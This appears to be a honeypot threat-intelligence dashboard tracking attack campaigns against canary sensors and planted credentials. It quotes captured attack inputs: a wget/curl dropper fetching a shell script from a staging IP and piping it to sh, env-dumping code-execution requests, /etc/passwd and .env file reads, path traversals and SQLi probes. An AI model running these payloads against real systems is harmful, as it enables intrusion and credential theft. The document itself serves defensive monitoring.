Mint volume — issued rows per day; purple = day with Tracebit use events
Campaign lifecycle — 57 journey-fingerprint sigs, bar = first_seen → last_seen (sensor count in label)
Curated kill-chains — registry campaigns, maintained at briefing time
GOWEB-PENTEST active
№53: SIXTEENTH window, NEW operator — 169.58.99.248 (Contabo GmbH FR) canary-farm-1 151 phpmyadmin-login GETs on /phpMyAdmin-5.2/index.php in ~1 min (01:05 EDT); №52's three operators absent. №52: THIRTEENTH–FIFTEENTH windows — THREE new operators in one cycle: 34.211.136.159 (AWS US) lauterbourg 151 phpmyadmin-login GETs / 1 path in 28 s (23:23 EDT), 185.205.222.77 (PT Industri Kreatif Digital ID) lauterbourg 151 / 1 (17:52 EDT), 185.47.64.239 (Nowatel Sp. z o.o., PL) ai-devbox-1 151 / 1 in 28 s (23:23 EDT). All `Go Web Pentest Tool`, GET-only, 0 POSTs; 17 operator IPs / 12 windows. №51: TENTH–ELEVENTH windows, both on lauterbourg — 172.104.173.62 (Linode/Akamai SG) RETURNED, the campaign's first repeat operator (151 GETs / 1 path in 49 s, 04:52 EDT) + NEW 148.72.159.98 (151 / 1 in 16 s, 18:47 EDT). №50: SEVENTH–NINTH windows — three more new operator/node pairs: 103.242.78.199 (Universitas Muhammadiyah Jember, ID) hit canary-farm-1 with 151 phpmyadmin-login GETs on 1 path in 39 s (09:32 EDT); 188.166.218.48 (DigitalOcean SG) hit control-1, 151 GETs / 1 path in 22 s (13:54 EDT); 172.104.173.62 (Linode SG) hit lauterbourg-01-ts, 151 GETs / 1 path in 49 s (04:52 EDT). Nine windows, nine operators, nine nodes, nine ASNs — all `Go Web Pentest Tool`, GET-only, 0 POSTs. №49: FOURTH–SIXTH windows in ONE cycle — three NEW operators, three NEW nodes: 58.84.1.216 (VNG VN) hammered sponge-01-ts 181 phpmyadmin-login GETs / 1 path in 39 s (09:50 EDT); 139.59.74.7 (DigitalOcean IN) hit control-1 151 GETs / 1 path in 11 s (19:32 EDT); 27.147.153.210 (Link3 BD) hit canary-farm-1 151 GETs / 1 path in 29 s (15:32 EDT). All `Go Web Pentest Tool`, GET-only, 0 POSTs — six windows, six operators, six nodes, six ASNs; a captured credential body is still unseen. №48: THIRD window — 109.123.251.103 (same /16 as canary-farm-1's public IP) ran 181 phpmyadmin-login GETs on 1 path in 1.1 s on lauterbourg (07:37 EDT 10-10), 0 POSTs. Three operators, three nodes, three ASNs — the commodity-tool read is solid. ⚠ NEW №47: promoted from the №46 watch single on the second window / node / operator — honest self-labeled UA `Go Web Pentest Tool`. №46: 158.178.159.133 (Oracle NL) POST-flooded /mysql/dbadmin/index.php on frantech 181× in 26 s. №47: 167.86.124.4 (Contabo FR) hammered phpmyadmin login paths on ai-devbox-1 — 183 ev / 3 paths / 181 phpmyadmin-login GETs in 1 min (17:57 UTC 10-09), 0 POSTs. Watch: a third operator IP or any captured credential body.
flowchart LR
GWT["Go Web Pentest Tool<br/>self-labeled UA"] --> PMA["phpMyAdmin login hammer<br/>~181 events / pass"]
PMA --> ROT["IP + verb rotation<br/>POST → GET, node per window"]
AKAMAI-VHOST-SCAN idle
№50: FIRST ABSENCE — 172.234.162.31 and the Akamai DE class out; the kiteworks vhost instead carried REGISTRY-HUNT l9scan legs (206.81.12.187, 165.22.235.3, 167.99.182.39; 40 ev each) and a Google-hosted bare-Chrome crawler (104.199.36.53, 117 + 25 ev). ⚠ NEW №49 — promoted on the second window: lauterbourg vhost + admin-surface census class under Akamai Connected Cloud egress. 172.234.162.31 (FR) returned 05:22 EDT 10-11: 231 ev / 194 paths / 29 families in a ~1-min pass — kiteworks-root-redirect → /login [kiteworks-shell] → citrix rdx lang fetch → nmaplowercheck → /cgi-mod/header_logo.cgi → /sdk (1 POST, 441 B, body not captured) → /health → coldfusion CFIDE → singles for fortigate, ivanti, exchange OWA, cisco webvpn, geoserver, nextjs, openapi, ollama-version. Class history: 172.104.241.92 + 172.105.76.7 (Akamai DE, №46–№47 third windows on lauterbourg). Three IPs, one node, browser+forged UA rotation, 0 mints across the class.
flowchart LR
A["Akamai egress IPs ×3<br/>FR + DE classes"] --> K["kiteworks-root-redirect<br/>→ /login"]
K --> S["admin-surface singles:<br/>citrix · CFIDE · fortigate ·<br/>ivanti · OWA · webvpn"]
S --- P["1 POST /sdk · 441 B<br/>body not captured"]
ATLASSIAN-REST-PROBE idle
№49: FIRST ABSENCE — 87.120.204.145, the lighter runners, and signature 9609f17ada17 all absent; watch a second window to separate one-shot recon from a standing cadence. ⚠ NEW №48 — fleet-wide Confluence/Atlassian REST discovery, signature 9609f17ada17 (9 IPs / 216 ev / 7 sensors, first seen 10-11): /rest/api/2/serverInfo, /rest/api/serverInformation, /rest/api/latest/server, /status. Primary operator 87.120.204.145 (G-Core Labs) hammered both EU nodes (694 ev each, 331 paths, 8-UA modern rotation, 0 mints) incl. an 8-level archive traversal /s/1/_/download/resources/com.atlassian.confluence.plugins.dashboard-actions/…/..::×8::META-INF (№47's REGISTRY-HUNT Jira traversal used 5 levels). Lighter same-UA-set runners 45.207.159.88 + 2407:cdc0:f004:785e:e5d4:8ffa:4068:2bcb ran 7 min before .145's EU pass; single touches from 172.234.162.31, 139.162.33.108.
flowchart LR
R["REST serverInfo census<br/>/rest/api/2/serverInfo<br/>+ /status variants"] --> H["87.120.204.145 hammer<br/>694 ev/EU node · 8 UAs"]
H --> T["8-level ..:: archive traversal<br/>Confluence plugins"]
R --- L["9-IP fleet-wide wave<br/>0 mints"]
CF-FRONTED CREDSWEEP new
№37: first-seen Cloudflare-fronted ai-devbox credential census over inference.fapthropic.com — 54 Cloudflare edge IPs, 7,245 HTTPS events, 289 paths, 83 result families, and 76 /.env mints. Origin hidden by Cloudflare; all rows use socket peer 172.18.0.1 with no XFF mismatch. Watch the minted credentials for AWS use.
flowchart LR
EDGE["Cloudflare edge IPs<br/>54 in window"] --> HOST["ai-devbox-1 HTTPS<br/>inference.fapthropic.com"]
HOST --> CENSUS["Credential census<br/>289 paths · 83 families"]
CENSUS --> MINT["76 /.env mints"]
MINT --> WATCH["AWS-use watch"]
CREDENTIAL-DRAIN active
№53: THIRD consecutive zero-use window — 38 credentials to 27 collectors, 0 AWS events; streak 189 since the last use. 45.148.10.171 21st consecutive minting window (5 creds / 8 issued rows, 48/6d). 13 first-window collectors incl. 102.220.163.155 (3 nodes), the 195.177.94.x pair, 93.123.109.226 (2). №52: 49 credentials to 25 collectors, 0 AWS use — second consecutive zero-use window. NEW top collector 194.59.31.39 (8 mints, aidev, slow 6-h config census, bare-Chrome + Chrome/124); 79.124.58.82 3 mints (OMEGA escape); 45.148.10.171 9 mints (50/6d, 20th window). №51: ZERO USE — 102 creds to 26 collectors, none reached AWS (first zero-use window after №50's record. Record single-IP mint 41: METADATA-HUNT's 35.253.66.111. Hoards: 45.148.10.171 51/6d 19th consecutive window, 87.120.104.29 18/6d, 35.253.66.111 41 fresh. Sole mint failure: transient Connection reset to community.tracebit.com on ru-edge). №50: THIRD use window and a record — 80 creds to 32 collectors, 5 used, 28 events (6× sts:GetCallerIdentity ✓; 22 denied incl. GetServiceQuota ×8, DescribeInstances ×4, DescribeRegions ×4, DescribeInstanceTypes ×2, ListNotebookInstances ×2). NEW synchronized dual-collector mint→use pair: 169.58.180.111 (Contabo FR) and IPv6 2a02:c207:2350:9697::1 (Contabo) both began minting 08:22 EDT 10-12 on ai-devbox-1 + canary-farm-1 (9 + 11 mints) and each self-used 2 credentials from 1 IP — EC2 enumeration classes; the IPv6 pair is the funnel's first IPv6 collector. 131.193.125.163 (University of Illinois at Chicago, outside the flux window — Tracebit the only witness) used 1 credential for GetCallerIdentity ✓. 0 mint failures, third clean window. Hoards: 45.148.10.171 45/6d (18th minting window), 34.124.231.201 40/6d, 102.220.161.102 27/6d, 80.94.92.65 15/6d, 208.84.100.218 10/6d. №49: SECOND consecutive use window, NEW SHAPE — 41 creds to 29 collectors, 2 used, 7 events: 4× sts:GetCallerIdentity ✓ + ListFoundationModels ×2 ✗ + ListBuckets ×1 ✗ (all recurring classes). FIRST single-credential multi-egress use: Bucklog 185.177.72.64 minted 2 on control (23:36 EDT 10-11, Firefox/5.0 forgery) and 1 credential ran 5 ops (GetCallerIdentity ×3 ✓ + ListFoundationModels ×2 ✗) from 4 distinct AWS-side IPs. 72.251.220.23 (curl/8.7.1, aidev mint 08:43 EDT) self-used from 1 IP (GetCallerIdentity ✓ + ListBuckets ✗). 0 mint failures, second clean window. Hoards: 45.148.10.171 43/6d (17th window), 34.124.231.201 40/6d (absent), 80.94.92.65 19/6d. №48: USE RETURNED after two zero windows — 2 credentials / 3 events, all sts:GetCallerIdentity ✓, BOTH same-IP mint-and-use: 209.97.180.8 (REGISTRY-HUNT runner; minted ru-edge, used same IP) and 128.199.182.55 (minted farm 10-08, used now); 53 creds to 30 collectors, 0 mint failures; hoards .171 45/6d (16th window), 34.124.231.201 40/6d, 209.159.155.142 12 (new entrant). №47: SECOND zero-use window — 84 creds to 33 collectors, 0 alerts / 0 successes; mint failures 17×400; record single-IP mint 40 (METADATA-HUNT 34.124.231.201); hoards 45.148.10.171 40/6d (15th window), 80.94.92.65 27/6d over 4 sensors, 87.120.104.29 12/6d. №46: ZERO USE — 60 creds to 30 collectors, none reached AWS (first zero-use window since №42). Mint failures RETURNED: 11×400 (farm 4, aidev 3, control 2, ru-edge 2) after five clean windows — scattered singles plus CONFIG-SWEEP's farm burst pair. Top holders: 45.148.10.171 10 mints (41/6d), 150.241.66.127 6 (EMPERORS-KIT), 160.177.245.67 5 (NIGHTAGENT). №45: ELEVENTH use window — 4 credentials / 13 events (7× sts:GetCallerIdentity ✓, 6× ListFoundationModels denied) and ALL FOUR self-used: minted and consumed inside the window. Feo Prest pair FIRST JOINT USE — .154 (1 cred, 4 ops, minted farm 04:55) and .175 (1 cred, 4 ops, minted control 11:02); SS-Net .211 (1 cred, 3 ops, minted aidev 02:50); FIRST-TIME collector 209.99.189.217 self-validated 1 cred (GetCallerIdentity only). 58 creds to 34 collectors, 0 failures (4th straight clean window). Same-session use now 9/9 across №44–№45. №44: TENTH use window — 5 credentials / 78 events (72 denied, 6× sts:GetCallerIdentity ✓). SES enumeration RETURNED via Bucklog 185.177.72.205 (GetSMSAttributes ×34 + GetSendQuota ×34 denied). FIRST same-IP mint-and-use: LeakIX l9scan 157.230.19.140 + 167.99.181.249 validated their own canaries (GetCallerIdentity ✓ + ListBuckets denied) — use IP now equals the mint IP. SS-Net .211: 1 cred / 4 ops. 70 creds to 26 collectors, 0 failures (third window). Hoards: Feo .175 77/6d, .154 38/6d, .171 28/6d. №43: NINTH use window — 1 credential / 4 events (2× sts:GetCallerIdentity ✓ + ListFoundationModels ×2 denied); use side SS-Net .211, which also returned to minting (2 on aidev under an Opera/5.02 forgery) after №42's miss. 56 creds to 41 collectors, 0 failures. Hoards: .175 89/6d, .171 24/6d. №42: EIGHTH consecutive use window — 1 credential used (Feo Prest .175: 2 sts:GetCallerIdentity successes + denied ListFoundationModels ×2 from 4 AWS IPs; mint side control-1). 35 mints to 24 collectors, 0 failures.
flowchart LR
MINT["/.env mint burst"] --> COLLECT["Collector harvest<br/>.154 · .211 · l9scan .72"]
COLLECT -->|"minutes later"| USE["AWS use from egress IPs"]
USE --> S1["sts:GetCallerIdentity<br/>✓5"]
USE --> S2["Denied ops<br/>ListFoundationModels ×4"]
S1 --- POLICY["legacyOwnerAccess<br/>deny-all policy held"]
NIGHTAGENT idle
№52: absent — seventh consecutive idle window; the unrotated nightagents/nightshell URL still 404s. №46: RETURNED after one absence — NEW operator 160.177.245.67 (ONP MA) ran the FULL kit on both EU nodes in one overlapping session (farm 07:55–09:04 UTC 184 ev, aidev 08:23–08:32 UTC 276 ev): phpunit verify → UNCHANGED nightshell dropper POST (GHSAT token byte-identical; unrotated since first capture) → form login user=root&pass=wrong → wp-batch multiplex + SQLi → 5 mints (aidev 3, farm 2 — the campaign's largest mint haul) + config-bundle census (webapp-config-bundle-js 100 ev). NEW STAGE: tomcat-path-bypass-env ×25 — every one of the tag's fleet events belongs to this IP. №45: FIRST ABSENCE after two .49 windows (0 events; the 105.159.4.244 operator also out). №44: SECOND .49 RUN — 185.213.193.49 ran 3 passes (farm 07:37, aidev 11:32+13:24, farm 17:58 EDT), credential stages only: form login user=root&pass=wrong → wp-batch SQLi (||OK|| probe) → /.env mint ×3 → config-bundle census → phpmyadmin legs → adminer prod_rw POSTs with a FRESH 22-char password per pass (8LB9tLMFj2cQ2llBuH7vPA / Y6kVIvepMM16CeMI-5YwoQ / 1ocYDyySV4cQEz4RIXb7Kg) — the INFOCREST password shape. NO phpunit verify, NO dropper POST. .244 absent. NINTH RUN №43 — RETURNED after 15 idle days: 105.159.4.244 (ONP MA) posted the verbatim verify '<?php echo "NightAgent";?>' AND the UNCHANGED nightagents/nightshell dropper POST (same GHSAT token; repo 404 since 09-24, so the copy() cannot succeed), then form login user=root&pass=wrong + wp-batch SQLi + config-bundle census + 1 mint (farm). Second operator same day: 185.213.193.49 (Zenlayer US) ran the kit minus the phpunit stage — 3 passes across farm+aidev, 3 mints. №28: first mint; dropper URL is unchanged kit, not the registered 'return requires new dropper URL' case.
flowchart LR
V["phpunit verify<br/>NightAgent echo"] --> D["nightshell dropper POST<br/>unchanged URL + token<br/>(repo 404 — copy fails)"]
D --> L["form login<br/>user=root&pass=wrong"]
L --> W["wp-batch SQLi<br/>author_exclude UNION"]
W --> C["config-bundle census<br/>+ /.env mint"]
METADATA-HUNT idle
№53: census + marker absent — the 8 in-window @fs events are №52's 05:57–06:00 EDT run riding the +4h ingest cast, verified by timestamp; no repeat. №52: census + mint absent (35.253.66.111 and the named-runner roster 0 ev); marker-only probe — 144.172.64.99 (bare Mozilla/5.0) ran the @fs Vite file-read pair (/@fs/proc/self/environ + /@fs/etc/passwd, vite-fs-* results, 2 each) on both EU nodes. №51: RETURN after three runner-absent windows, NEW runner shape — 35.253.66.111 (GCP US) farm-only burst 650 ev / 310 paths, 10:37:15 EDT onward, ~30 forged AI-crawler UAs (Bravebot, Qwenbot, KimiBot, Claude-User, GrokBot, Applebot forgery…). CODE-EXEC chain captured, all env-harvesting: POST /lib/terminal-xhr.php command=env&password=bypass&csrf=x; /api/v1/validate/code langflow @exec(subprocess… env); /api/fs/exec {"command":"env","args":[]}; php-cgi shell_exec('env 2>/dev/null || set 2>nul'); /read-document {"file_path":".env"}; /api/templates/preview ../../.. traversal; graphql introspection ×3; 41 mints at /.env — the fleet's single-IP mint record. №48: RUNNER ABSENT (one-window return) — the 34.124.231.201 pass re-appears in №48's digest only via the +4 h cast overlap (6 webapp-form-profile rows), not a second run; 40/6d hoard unchanged. №47: RETURNED + MAJOR UPGRADE after 12 marker-absent windows — single GCP runner 34.124.231.201 (SG) ran a 21-second code-execution census on canary-farm-1 (374 ev / 223 paths / 74 fams / 36 POSTs, 08:05:03–24 UTC 10-10) under 33 forged AI-crawler UAs (set grew: Kimi, DeepSeek, MistralAI, Qwenbot, Hunyuan, PanguBot, cohere, DuckAssist, Bravebot, ChatGLM, YiBot, xAI-Grok new); NEW code-exec stages (Langflow /api/v1/validate/code @exec subprocess, Flowise customMCP, /lib/terminal-xhr.php command=env, /read-document + /api/designer/v1/file-content env reads, /api/templates/preview ../../..// traversal, /api/fs/exec, php-cgi shell_exec ×7 paths) + the classic /@fs Vite credential traversals; 40-mint batch at /.env = fleet single-IP record; 0 AWS use. Earlier cycles: idle №16–№46, and №33 had 3 @fs marker rows again (136.85.48.119, farm, 2nd window) with a 291-ev credential-family run (firebase/gcp-credentials, graphql, forged AI-crawler UAs, 3 mints) — resumption candidate.
№53: THIRD PASS — 79.124.58.82 hit control-1 again 11:00:55–56 EDT 10-15 (450 ev / 450 paths / 106 fams, forged Googlebot/2.1, /jenkins/.env + /strapi/.env 200s, 1 mint; 4/6d) — a second control pass the same day after 02:22 EDT. Standing-crew read, not a one-pass visitor. №52: TEMPLATE ESCAPED THE /46 BLOCK AGAIN — 79.124.58.82 (Tamatiya EOOD BG, forged Googlebot/2.1) ran the census fleet-class on ai-devbox-1 (466 ev / 403 paths / 104 families in 11 s, 18:50 EDT) + control-1 (450 / 450 / 106 families in 9 s, 02:22 EDT 10-15), 3 mints (2 aidev + 1 control at /.env); /46 block absent a 12th window. №52 kills: ssh-private-key-error 22 aidev + 27 control, wp-config, fake-git, terraform-tfvars families. №45: FIFTH consecutive miss — no /46 census; pool singles 94.154.43.84 (aidev) + .164 (farm) minted 1 each 09:48 EDT under forged Chrome/147 — the same single-mint pattern as №42–№43. №43: THIRD consecutive miss — no /46 census; a NEW pool-singles pair 94.154.43.125 (farm) + .146 (aidev) minted 1 each under Chrome/147, and .100's bare-UA `/` passes repeated on 7 nodes (71 ev). №42: SECOND consecutive miss — pool singles 94.154.43.129/.164 minted 1 each again (04:16 UTC, forged Chrome/147). №41: first miss after .250's second run. Block spans .242–.250; no observed AWS use.
flowchart LR
OP["/46 pool · forged Googlebot/2.1<br/>.242–.250 + pool singles"] --> SWEEP[".250: 743-path census<br/>118 families in 12 s"]
SWEEP --> MINT["/.env mints ×5<br/>ru-edge"]
MINT --> HOARD["Standing hoard<br/>zero AWS use"]
REGISTRY-HUNT active
№53: docker-registry enum stage drove the fleet's 3.0–3.2× manifest/tags spikes (control + ru-edge 45/45, frantech + sponge 25/25); farm cluster c540fc530a5a 8 IPs / 312 ev; ~10 DigitalOcean runners minted ~12 canaries (165.22.34.189 2, 46.101.111.185 2, eight 1 each). №52: 19-IP wave, 1,052 ev, ALL 8 sensors; 14 runners minted 1 each (1 per IP — 159.223.132.86, 206.189.19.19, 138.68.86.32, 165.22.34.189, 134.122.28.88, 64.23.218.208, 164.92.107.174, 157.245.105.107, 167.99.210.137, 139.59.231.238, 128.199.182.152, 128.199.182.55, 167.172.232.142, 45.138.12.51); NEW l9explore/1.2.2 operator 193.32.204.199 (195 fake-git farm + 49+49 not-handled netcup/frantech). №50: ALL-8 WAVE — l9scan runners on every sensor: canary-farm-1 167.71.81.114 (123 ev, 3 mints), 64.227.70.2, 138.68.144.227, 167.172.232.142; ai-devbox-1 167.172.158.128, 167.99.182.39, 157.245.105.107, 159.89.12.166 (41 ev, 1 mint each); control-1 165.227.84.14 + 139.59.231.238; ru-edge-1 46.101.111.185 + 147.182.200.94; single-pass legs 39 ev on frantech-ts (206.189.95.232), sponge-01-ts (167.71.175.236), netcup-ts (134.122.28.88); kiteworks-vhost legs 206.81.12.187, 165.22.235.3, 167.99.182.39 (40 ev each, lauterbourg). l9explore 45.138.12.51: 87 ev / 1 mint on ai-devbox-1 (6/6d). ~14 mint rows from the class. №49: wave held at reduced spread — 12 l9scan runner IPs minted 13 canaries across farm/aidev/control/ru-edge in the 19:57–20:35 EDT evening wave (digest cluster 850993125b15 6 IPs / 246 ev farm-only; the 27-family docker-registry journey on 4 sensors in the kill-chain table). l9explore 45.138.12.51 WIDENED to 5 sensors (440 ev) with 3 mints (control 09:02, farm 00:38, aidev 02:50 EDT). №48: CONTRACTED wave — ~11 runner IPs on farm/aidev/control/ru-edge (the 27-family docker-registry journey; digest cluster 850993125b15 6 IPs / 246 ev farm-only); 11 mints 1/IP; FIRST USE SINCE №45 — two runners self-validated in AWS (209.97.180.8, 128.199.182.55, sts:GetCallerIdentity ✓); l9explore 45.138.12.51 down to a 1-ev lauterbourg touch. №47: ~49 l9scan IPs on ALL 8 sensors; NEW signature b3c6048a4870 (lauterbourg) carries a DEEPER Jira traversal (5 `..::` levels vs 2; 11 ev / 10 IPs, one node only) and rode the kiteworks vhost (428 ev, 8 runners); 22 of the window's 33 canary collectors were l9scan runners (evening wave 23:46–03:12 UTC); LeakIX toolset widened — 45.138.12.51 (Tc Datacenter LT) ran l9explore/1.2.2 (87 ev) + l9tcpid/v1.1.0 on frantech+sponge. №46: RECORD WAVE — 37 l9scan IPs / 116 weblogic+confluence events across ALL 8 SENSORS (per-sensor presence farm 11, ru-edge 9, control 8, netcup 6, sponge 6, lauterbourg 6, frantech 4, aidev 4); 22 IPs minted 31 canaries (crossnode minters 157.245.204.205 ru+control, 167.99.210.137 farm+ru, 146.190.103.103 aidev+control); 0 observed AWS use at window close. NEW STAGE: 52 IPs ran a Jira archive-traversal probe (/download/resources/jira.webresources:color-picker-popup/images/..::..::META-INF::maven::com.atlassian.jira::atlassian-jira-webapp::pom.properties, 64 events) between Confluence and WHM — the journey change behind №46's two new signatures (fe0b8d49a878 ru-edge, 24e7b3a70bf9 control; farm's 850993125b15 unchanged); 8 UA variants. №45: 17 l9scan IPs / 811 events (flat vs №44's 18/847) in the 19:54–21:06 EDT wave across farm, aidev, control, ru-edge, lauterbourg (Kiteworks vhost), sponge; 12 IPs minted 1 each (13 mint rows; 206.189.95.232 hit farm+ru-edge) + l9explore 45.138.12.51 87 ev / 1 mint (5/6d). NO self-use this window — the wave's 13 canaries sat unused at window close (№44's two self-using runners did NOT repeat: mint≠use again). №44: 18 l9scan IPs / 847 events across ALL 8 SENSORS (first all-8 wave), 14 mints at 1/IP; NEW: two operators self-used their canaries in AWS (see CREDENTIAL-DRAIN). №43: 18 l9scan IPs / 769 events / 14 mints (1/IP) across 6 sensors in one 19:53–20:43 EDT wave, all DigitalOcean; UA variants 2.0.930323 / 2.0.234313 / 2.0.6343 / 2.0.632323. l9explore 45.138.12.51: 87 ev on netcup, 0 mints (4/6d). LeakIX l9scan template. №42: contracted to 17 l9scan/l9explore IPs / 1,219 events after №41's 31-IP record; mints 1/IP across control, aidev, farm, ru-edge + lauterbourg (27-family kill-chains; 165.227.173.41 hit 2 nodes); zero burst rejections. 45.138.12.51 (Tc Datacenter LT) mints under l9explore/1.2.2 with a 20-family env census — exploit-grade sibling. LEAKIX-SSH absent this window. Honest UA; borderline per registry.
flowchart LR
L9["LeakIX l9scan<br/>17 IPs №42"] --> W1["WebLogic console"]
W1 --> W2["Confluence · WHM/cPanel"]
W2 --> DR["Docker registry enum<br/>/v2/internal/..."]
DR --> GR["/graphql introspection"]
GR --> MINT["Mints 1/IP ×23<br/>one runner used in AWS"]
CREDSWEEP active
№53: NEW operator block 102.220.163.155 (VPS Dedicated LLC SI — same org as SI-CENSUS's 102.220.161.x) ran the directory-fanout template byte-identically on ai-devbox-1 + canary-farm-1 + control-1 (514 ev / 511 paths / 34 fams each, Chrome/126.0.0.0, pscan-<8hex>-nonexistent.txt marker) and minted at /.env on every node — 3 canaries. Techoff 93.123.109.226 second window: control-1 514 ev error-census, 2 mints at /.env. 45.148.10.238 control-1 757 ev / 370 paths / 26 fams / 5 POSTs. Feo Prest 213.209.159.154 minted 2 on farm (4/6d). №52: 45.148.10.238 netcup FIRST — 836 ev / 373 paths / 13 POSTs in 5 min (21:14 EDT), 16-UA modern rotation incl. the `Mozlila/5.0` typo forgery; SAME-ASN Techoff operator 93.123.109.226 (BG) ran sponge in the same window (514 ev / 510 paths / 1 min: webshell-probe 84 + the config-backup first-seen census); 45.148.10.5 1 mint control; 45.148.10.171 20th consecutive minting window (9 mints / 4 sensors, 50/6d). №43: .171 ELEVENTH consecutive mint window — 4 mints across farm/aidev×2/control (24/6d) from only 10 events on 7 sensors. The 45.154.138.x cluster returned for a SECOND mint window with 9 mints — promoted to its own row (CONFIGBUNDLE-SWARM). Feo .154 absent; .92.65 minted 4. №42: 45.148.10.171 TENTH consecutive minting window — 6 mints across 4 sensors, 0 rejections (20/6d). NEW /24 collector cluster 45.154.138.x on control: 3 IPs (.72/.88/.51), 1 mint each, Firefox/105 + Chrome/39 + Chrome/106 forgeries. Feo .175 minted 2 + used 1; .154 minted 2 (72/6d). SS-Net .92.65 minted 7 across 3 sensors (17/6d). №41: ninth window.
flowchart LR
OP["Feo Prest /24 ·<br/>VPS Dedicated SI · 45.148.10.171"] --> ENV[".env-variant +<br/>credential census"]
ENV --> FORGE["Antique-UA + Mozlila<br/>typo forgeries"]
FORGE --> MINT["Mints every window<br/>.175 hoard 135/6d"]
XMLRPC-BRUTE idle
№53: silent again — 0 wp-xmlrpc events after №52's single-window return. №52: RETURNED — 85.204.70.116 (Hydra Communications Ltd GB, AS25369, forged Chrome/78) on lauterbourg 01:16 EDT 10-15: wlwmanifest.xml + wp-json users preflight, then 60 system.multicall POSTs to /xmlrpc.php in 1.5 s (484 B bodies, 200s). Sixth operator. №37: 185.19.40.202 (1337 Services GmbH NL) returned on lauterbourg with 1,000 system.multicall POSTs in 89 s, fixed admin username, one password per body, forged Chrome/78. №36: 134.209.110.125 (DigitalOcean SG; minted 4 canaries №35) ran two legs on lauterbourg: 3,050 system.multicall POSTs plus 3,049 wp-login form POSTs with site-aware passwords. №28: fifth operator 119.40.84.186 (BDCOM BD) burst→sustained with 18,063 xmlrpc + 18,063 wp-login POSTs over 6.5 h on netcup.
flowchart LR
OP["Operator rotates<br/>(1337 Svcs · GCP · Google BE · BDCOM BD)"] --> PRE["Preflight wlwmanifest<br/>+ wp/v2/users"]
PRE --> FLOOD["system.multicall flood<br/>1,600–18,063 POSTs"]
FLOOD --> WPL["wp-login phase<br/>one distinct password per POST"]
MALWARE-DICT active
№53: Pfcloud loop continues on control-1 (2,066 ev / 578 paths, 38% of the node, ipsum:2). №52: Pfcloud loop day 24+ on control (1,944 ev / 579 paths, 58% of the node); sibling .219 touched all 8 sensors (24 ev). №43: 30th loop window — 2,198 ev / 571 paths on control (204.76.203.18); /24 siblings .237 and .219 ran 8-node light touches (72 / 16 ev) under the same Edg/90 UA as 91.92.40.236. №41 = 28th window: 2,248 ev on control (578 paths — volume recovered from №40's 872) plus a 6-ev ru-edge touch. №26 resume shape: 2,059 ev control + 2,060 ru-edge in 27 h, byte-identical, 569 paths.
№53: absent — no 144-ev git/2.40.0 walk this window; the MEVSPACE merge trigger (third sibling IP) stays open. №52: PAIR RETURNED under fresh sibling IPs — 104.207.37.126 (canary-farm-1, 14:11 EDT) + 65.111.4.237 (ai-devbox-1, 15:45 EDT), byte-identical 144 ev / 142 paths each in ~6–10 s, honest git/2.40.0 — the same shape as №40–№42's 3xK Tech GmbH pair/trio; light git/2.40.0 singles 45.3.48.30 + 45.3.37.79 (1 ev each). №49: IDLE — Interserver 209.159.155.142 and the DO trio absent; the 12/6d hoard stands unused. №48: FOURTH OPERATOR CLASS — the №23 watch single 209.159.155.142 (Interserver US) returned at scale: both EU nodes (farm 1,400 + aidev 1,365), 396 paths / 44 families each, 5-stage UA rotation (git/2.39.0, bare Mozilla/5.0, Firefox/109, `node`, NEW git/2.47.3), full hooks enumeration (fake-git-miss 1,310) + env/sql-dump/backup censuses, 12 mints (6/node) — the campaign's largest mint haul; first window since №23. №47: REACTIVATED — THIRD OPERATOR CLASS: synchronized DigitalOcean trio 178.128.169.110 + 144.126.227.243 (aidev 08:21/19:19 UTC) + 104.248.163.59 (control 01:55 UTC 10-10): identical 144-ev/142-path/1-min walks (143 fake-git + 1 gitignore), stale Firefox/78, 0 mints; owns aidev fake-git 3.1× + control 3.2×; watch object-hash fetches (GIT-VAULT №13 merge shape). Prior: №43: FIRST MISS after three consecutive windows (3xK trio absent). Separate: 102.220.161.102 (CREDSWEEP block, VPS Dedicated SI) ran a 144-path fake-git walk on aidev — a new operator for the template; watch for a repeat. Git-internals walk + secrets files. №42: THIRD consecutive window — NEW third IP 216.26.239.111 (3xK Tech, cc BR) ran the identical 144-ev / 142-path walk on canary-farm-1 (14:48 UTC), 0 mints. №41: the .149/.141 pair repeated the same walk 1 h apart. Honest git UA is the family fingerprint (git/2.39.0 → git/2.40.0).
flowchart LR
W["git/2.40.0 walk<br/>.git/HEAD · index · ORIG_HEAD"] --> HOOKS["hooks/*.sample<br/>full enumeration"]
HOOKS --> REFS["packed-refs · COMMIT_EDITMSG ·<br/>FETCH_HEAD"]
REFS --- PAIR["3xK Tech IPs ×3 across<br/>3 windows · 0 mints"]
LIBREDTAIL-KIT active
№53: cluster 7e61a9500d8b contracted — 6 IPs / 294 ev / 5 sensors (from №52's 13 / 637 / 6); no dropper capture this window. №52: 186.182.105.49 ran the 49-ev chain on ru-edge; the /bin/sh + php-cgi cmd-injection cluster 7e61a9500d8b ran fleet-wide (13 IPs / 637 ev, 6 sensors, first seen 08-29). №51: NINTH window, DROPPER CAPTURED — 84.46.241.102, two runs (lauterbourg 21:59 EDT + farm 02:55, 49 ev each, honest UA libredtail-http): phpunit md5('Hello PHPUnit') probes across 20+ directory permutations → shell_exec(base64_decode(cd /tmp || /var/tmp || /dev/shm…)) → POST /bin/sh dropper (wget --no-check-certificate -qO- https://217.60.102.5/sh || curl -sk …) | sh — THIRD staging host in 217.60.0.0/16 after 217.60.195.113 and 217.60.103.56. 0 mints. №50: EIGHTH window — six runs, all on ai-devbox-1 (37 ev each): 103.183.69.112 08:40, 107.150.123.48 14:39, 104.234.186.154 20:11, 107.173.53.218 22:27, 124.158.13.141 23:38 (also frantech), 103.79.184.145 02:18 10-13; three runs added cmd-injection-php-cgi-rce ×5; honest libredtail-http; 0 mints; dropper POST still unobserved. Owns aidev's phpunit-eval-stdin 4.4× spike (226). phpunit directory-permutation RCE, honest UA libredtail-http. №49: RETURN after three idle windows (№46–№48) — 3 fresh IPs (223.123.65.54, 202.155.18.56, 37.60.225.222) ran ~98 ev / 44 paths each across 2 nodes per IP (frantech+lauterbourg, lauterbourg+control, frantech+ru-edge): phpunit-eval-stdin → cmd-injection-php-cgi-rce → docker-daemon-containers-list under honest libredtail-http, plus kiteworks-root-redirect on the lauterbourg legs; dropper stage unobserved (no bodies captured). 0 mints. №40 (21st window): 4 full-kit IPs × 37 ev on lauterbourg (167.71.233.141, 102.244.97.185 repeat, 89.126.214.24, 118.145.104.37) — the phpunit-eval-stdin 4.8× spike on that node; the php-cgi delivery cluster 7e61a9500d8b ran 7 IPs / 343 events fleet-wide (farm/frantech/netcup/sponge). №36 